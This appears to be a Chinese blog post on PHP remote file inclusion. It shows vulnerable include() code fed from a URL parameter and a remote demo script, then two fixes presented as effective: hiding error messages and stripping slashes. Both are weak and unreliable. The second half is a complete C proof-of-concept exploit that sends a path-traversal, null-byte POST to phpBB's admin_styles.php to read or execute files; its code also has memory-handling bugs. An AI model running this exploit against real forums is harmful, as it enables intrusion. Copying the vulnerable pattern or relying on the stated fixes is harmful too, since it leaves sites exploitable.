远程文件包含漏洞概念
由于PHP支持使用相同的函数对本地文件和远程文件进行操作。因此,一些恶意用户通过强行使网站上的PHP代码包含自己的文件来实现执行自己脚本的目的。以下代码实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。
$file_name =
$_GET["filename"]; //获得当前文件名
include("$file_name
"); //包含文件
//一些其他操作
?>
这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问就可以在代码中包含并执行myinc.php文件。
由于上面的代码没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning: include(.php) [function.include]: failed to open stream: No
such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php
on line 3
Warning: include()
[function.include]: Failed opening '.php' for
inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
访问者通过读取
这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本程序。需要注意的是PHP在获取远程文件时获得的是
远程服务器的最终输出结果,而不是文件本身。该脚本程序位于192.168.0.1服务器上,文件名为hello.txt,脚本代码如下所示。
echo "hello
world!";
?>
这时,通过在浏览器中访问就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方法是完善程序的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码如下所示。
$file_name =
$_GET["filename"]; //获得当前文件名
if(!@include("$file_name.php")) //包含文件
{
die("页面在浏览过程中出现错误");
}
//一些其他操作
?>
修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。
第二种方法可以更加有效地防止远程文件包含攻击。方法是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,程序将无法正确地获得参数。修改后的代码如下所示。
$file_name =
str_replace('/', '', $_GET["filename"]); //获得当前文件名
if(!@include("$file_name.php")) //包含文件
{
die("页面在浏览过程中出现错误");
}
//一些其他操作
?>
这
样,在浏览器中访问
时,实际上PHP代码获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。
phpBB admin_styles.php theme_info.cfg远程文件包含漏洞POC代码
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
int main()
{
//The socket stuff
struct hostent *hp;
struct sockaddr_in sa;
int sock;
//The input stuff
char server[100];
char location[100];
char sfile[100];
int escapes;
char* file;
//The request stuff
char* request;
char* postdata;
char* header;
//The buffer to store the response
char buffer[4096];
int tworeturns = 0;
int showing = 0;
//Other
int i;
//Ask the server
printf("Server: ");
scanf("%100s", server);
printf("Forum location: ");
scanf("%100s", location);
printf("Directories to escape: ");
scanf("%i", &escapes);
printf("File to get/execute: ");
scanf("%100s", sfile);
//Start the exploit!
printf("\n\nStarting the exploit...\n");
//Connect to the server
printf("Creating socket... ");
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Failed!\n");
return 0;
} else{
printf("Done!\n");
}
printf("Looking up server IP... ");
if((hp = gethostbyname((char*)server)) == NULL)
{
printf("Failed!\n");
return 0;
} else {
printf("Done!\n");
}
printf("Connecting %s:80... ", server);
memcpy(&sa.sin_addr, hp->h_addr_list[0], hp->h_length);
sa.sin_family = AF_INET;
sa.sin_port = htons(80);
if(connect(sock, (struct sockaddr*)&sa, sizeof(sa)))
{
printf("Failed!\n");
return 0;
} else {
printf("Done!\n");
}
//Create the request
printf("Building request... ");
//Create the postdata
file = (char*)malloc(sizeof(char) * (escapes * 3 +
strlen(sfile) + 1));
while(escapes > 0)
{
if(escapes == 1)
{
sprintf(file, "%s%s%s", file, "..", sfile);
} else {
sprintf(file, "%s%s", file, "../");
}
escapes --;
}
postdata = (char*)malloc((27 + strlen(file)) *
sizeof(char));
sprintf(postdata, "send_file= &install_to=%s%s00",
file, "%");
header = (char*)malloc((170 + strlen(server) +
strlen(location)) * sizeof(char));
sprintf(header, "POST
/%s/admin/admin_styles.php?mode=addnew
HTTP/1.1\r\nContent-Type:
application/x-www-form-urlencoded\r\nHost:
%s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n",
location, server, strlen(postdata));
request = (char*)malloc((strlen(postdata) +
strlen(header) + 1) * sizeof(char));
sprintf(request, "%s%s", header, postdata);
printf("Done!\n");
//Send the request
printf("Sending request... ");
write(sock, request, strlen(request));
printf("Done!\n");
printf("\nResponse:\n");
//Get the response
while(recv(sock, buffer, 4096, 0) != 0)
{
for(i = 0; i < strlen(buffer); i++)
{
//Only show the character when it should
if(showing == 1)
{
printf("%c", buffer[ i ]);
}
//Stop showing from \n \n
if(buffer[ i ] == '\n' && buffer[i + 1] == '<' &&
buffer[i + 2] == 'b' && buffer[i + 3] == 'r' &&
buffer[i + 4] == '>' && buffer[i + 5] == '\n' &&
showing == 1)
{
showing = 0;
tworeturns = 0;
}
//Or from \n \n
if(buffer[ i ] == '\n' && buffer[i + 1] == '<' &&
buffer[i + 2] == 'b' && buffer[i + 3] == 'r' &&
buffer[i + 4] == ' ' && buffer[i + 5] == '/' &&
buffer[i + 6] == '>' && buffer[i + 7] == '\n' &&
showing == 1)
{
showing = 0;
tworeturns = 0;
}
//If there's a return and tworeturns = true, start
showing it
if(buffer[ i ] == '\n' && tworeturns == 1)
{
showing = 1;
}
//If there are two returns, set tworeturns to true
and add 3 to i
if(buffer[ i ] == '\r' && buffer[i + 1] == '\n' &&
buffer[i + 2] == '\r' && buffer[i + 3] == '\n')
{
tworeturns = 1;
i += 3;
}
}
}
printf("\n");
return 0;
}
|
阅读(1513) | 评论(1) | 转发(0) |